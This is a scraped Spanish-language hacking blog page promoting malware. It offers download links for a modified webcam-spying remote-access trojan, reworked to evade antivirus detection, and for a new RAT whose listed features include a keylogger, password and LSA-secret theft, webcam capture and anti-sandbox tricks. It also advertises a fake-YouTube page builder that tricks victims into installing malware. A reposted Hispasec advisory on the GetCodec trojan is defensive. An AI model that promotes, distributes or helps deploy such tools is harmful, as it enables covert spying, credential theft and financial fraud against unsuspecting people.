[DARKNNES.BLOGSPOT.COM][HACKEAR MSN] - HACKEAR HOTMAIL, HACKEAR, MSN, XPLOITS GUSANITO Y OTRAS POSTALES, hack ...
Este nuevo RAT se ve genial y tiene muy buenas opciones, ayi lo dejo para que lo chequeen
Bueno os dejo un screen y la descarga, parece bueno.
Bueno esta modificación ha sido realizada por mi, es un troyano en Delphi de conexión inversa, para poder hacer conexiones a las Webcams, su modificación ha sido realizada a nivel Hexadecimal sobre el Servidor, y aclopada de nuevo al programa para poder hacer servers más indetectables, el servidor de serie era detectado por 17 de 22 antivirus ahora solo lo detectan 7, y sin ser encriptado...
Imagenes:
Descargas:http://rapidshare.com/files/1436317[....]ebcam_Spy_MOD_By_4n0nym0us.exe.html http://www.megaupload.com/?d=BMUYPJZI
Página oficial de este troyano (Sin modificación)
http://forum.ninjaspy.org/index.php?showtopic=2375
Detalles sobre el troyano multimedia GetCodecFUENTE: HISPASEC---------------------------------------------Andrea se conecta ansiosa al eMule para descargar el último capítulode Prison Break que se estrenó hace una hora en Estados Unidos."¡Perfecto! ¡Un usuario conectado compartiendo el archivo!". Ladescarga se completa y se dispone a verlo sin más dilación… "quéextraño, Windows Media Player solicita la descarga de un codec, bueno,estará codificado con algo nuevo, no pasa nada, aceptar". A las pocassemanas Andrea se encuentra en una comisaría poniendo una denunciaporque le han sacado todos los ahorros de su cuenta bancaria.¿Has reproducido con Windows Media Player algún archivo de audio ovideo últimamente? Podrías estar infectado.A finales de Julio hubo bastante revuelo con la aparición de un nuevotroyano que afectaba a archivos multimedia. Este malware, que muchascasas antivirus han denominado GetCodec, emplea una técnica de infecciónque no había sido vista hasta el momento.El troyano se ha detectado propagándose encubierto como cracks enpáginas de warez y cracks. Es totalmente silencioso, lo cual induce apensar que tan sólo se trata de otro crack corrupto más. Tras suejecución, el troyano busca todos aquellos archivos con extensiones.MP2 .MP3 .WMA .WMV .ASF. El formato ASF es un formato propietario deMicrosoft empleado por Windows Media Player que permite introducirsecuencias ejecutables en flujos de audio/video. El troyano aprovechaesta propiedad para introducir en los archivos multimedia de lavíctima una secuencia que solicita la descarga de un codec falso desdeun Sitio Web. Éste codec es a su vez otro troyano, aunque la técnicapodría emplearse para servir cualquier tipo de contenido.Este método de infección también funciona con los archivos MPx porqueel troyano los convierte primero a formato ASF para despuésinyectarles el código malicioso. De forma que un archivo con extensión.MP3 puede estar infectado. El espécimen modifica la configuración del usuario de tal forma queeste nunca llega a notar que sus archivos multimedia han cambiado, sinembargo, todo aquel que no esté infectado e intente reproducirlos sínotará el cambio. Cuando se reproduce un archivo multimedia infectado,en una máquina limpia, Windows Media Player despliega una ventanasolicitando la descarga de un codec falso. Este codec puede sercualquier otro tipo de malware. Al aceptar la descarga se produce lainfección.Tal y como se puede intuir, estas características lo hacen ideal parala propagación vía redes P2P, unidades compartidas e intercambio demedios de almacenamiento. Tomando como ejemplo las redes P2P,cualquier usuario infectado estará actuando como servidor del malware.Otro usuario que descargue sus archivos multimedia se verá infectadosi no es lo suficientemente cuidadoso.Desde Hispasec, nuestro compañero Marcin Noga ha realizado un análisisde ingeniería inversa del troyano con el fin de detallar su mecanismode infección. El documento se puede encontrar en las siguientes URLs: (Español) http://www.hispasec.com/laboratorio/AnalisisGetCodec.pdf(Inglés) http://www.hispasec.com/laboratorio/GetCodecAnalysis.pdfDe igual forma, Marcin ha desarrollado una herramienta para limpiar lainfección en todas aquellas máquinas que se han visto afectadas,eliminando el código malicioso de los archivos multimedia infectados.La herramienta puede ser descargada desde:http://www.hispasec.com/laboratorio/MulTrojDisinfector.exeHashesMD5...: dddb5fc1af0405dff247c6704d4e6b37SHA1..: 5826c6d78604255bccec00c67efcd123795ddfd4Hasta el momento los archivos de audio y video habían sido relativamenteinofensivos a no ser que estuvieran intencionadamente malformados paracausar la explotación de un reproductor vulnerable. Los usuarios de apie parecen seguir teniendo la idea equivocada de que tan sólo losarchivos ejecutables son peligrosos, como siempre, todo se resume a unacuestión de concienciación. Esperamos que los documentos producidos porel laboratorio de Hispasec ayuden en esta labor de concienciación yeducación.
Haí os dejo lo que hace la nueva mejoras del bifrost 1.2.
Les presento un NUEVO troyano que parece ser es una mezcla de *Bifrost, Poison Ivy y Shark* (tiene de todo)
NOTA: RECUERDEN QUE ES UN TROYANO, NECESITAN DESACTIVAR SU ANTIVIRUS ANTES DE TRABAJAR CON EL, PORQUE SI NO LO HAZEN , EL ANTIVIRUS LO BORRARA O NO LOS DEJARA UTILIZARLO
http://rapidshare.com/files/136430302/painrat0.1Beta9.rar.html
Les dejo unas capturas.Características:------------ FWB (de inyección DLL, el DLL no es nunca por escrito con el disco)-- Decente fuerte encriptación de tráfico-- Trate de Unhook usermode API-- No Plugins/3rd las aplicaciones de otros fabricantes-- 4 Métodos de arranque (Shell, Políticas, ActiveX, UserInIt)-- Fijación del máximo de conexiones-- Función de Archivo Binder-- Las transferencias multihilo-- AntiDebugging (Anti VMware, VirtualPC, Anubis Sandbox etc ..)Broadcast:------------- Servidor de Opciones-- Búsqueda| _Search Archivos| _Search Windows-- Contraseñas| _Misc Contraseñas| _FireFox Contraseñas-- Suspender Opciones-- Subir clave Registros-- HTTP Descarga-- Comando DOS-- Descarga de memoria-- USB MonitorFunción:------------ Los gerentes| _File Manager| _Search Files (hilos)| _Window Manager| _Registry Editor| Registro _Search| _process Manager (Terminar, suspender, reanudar y reiniciar procesos)| Lista _Modules (Descargue DLL de un proceso o procedentes de todos los procesos)| _Device Manager *| _Startup Manager (Registro de Arranque y carpetas)| _Clipboard Manager (Texto y archivos)| _Service Manager (Con Los conductores de Apoyo)-- Vigilancia| _Screen Capture (Con compresión PNG)| _Webcam Capture (soporta múltiples WebCams)| _Key Logger| _Monitoring| _USB Drives (Con Auto copiar archivos a USB)| _Clipboard-- Información| _PC Información| _User Cuentas| _Available Cuentas| _Logon Sesiones| _CD Keys (Custome Lista)| _Installed Apps.| _Network Adaptadores| _Active Puertos *-- Contraseñas| _Misc Contraseñas (Live Messenger y No-IP DUC)| _FireFox Contraseñas (Apoya Firefox 2 y 3)| _LSA Secretos-- Varios| _Memory Execute (Ejecutar de HTTP o de locales)| _Message Box| _Command Prompt| _Display Configuración| _Suspend Opciones| _Script Creator-- Net Tools| _Web Server| _Socks Server| _Web Transferencias (descarga HTTP, FTP Carga y Descarga)| _Port Escáner| _Host De redireccionamiento-----------------------------------------* = No es compatible con Windows Vista (aún)Servidor Tamaño: 173 KB (sin embalaje)
Bueno hace minutos nomas termino un amigo mio el nuevo YouTube FakeCreator, es un software que te genera, se puede decir, un Fake de YouTube perfecto! Permitiendo infectar a una persona en un momento y sin tener que estar dando escusas o mintiendo para infectarla!Imagenes: Pantalla Principal Editor del Index.htmlCaracteristicas:-Seleccion del Server a instalar-Posibilidad de cambiar texto de la barra fake-Posibilidad de cambiar titulo de la ventana-Posibilidad de cambiar nombre del video-Posibilidad de cambiar descripcion del video-Posibilidad de cambiar comentario del video-Posibilidad de cambiar usuario del comentario- Y varias funciones masFuncionamiento:Este fake consiste en darle a la victima una direccion web, donde estaran alojados los dos archivos del fake (Index.html e Error.html). La vicitma, al visitar el Index.html sera alertado de que es necesario instalar un supuesto componente para poder visualizar el video correctamente... pero ese "componente" no es nada mas que nuestro server, virus o archivo... entonces la vicitma descargara el componente y sera infectado.Luego para que esta no sospeche, despues del tiempo elegido, redirecciona a la pagina Error.html, diciendole que no es posible ver el video por terminos de copyright.Bueno es asi mas o menos como funciona, mas abajo tienen un ejemplo de como quedaria...
Demo:Demo YouTube Fake CreatorDescarga:RapidShareMegaUpload
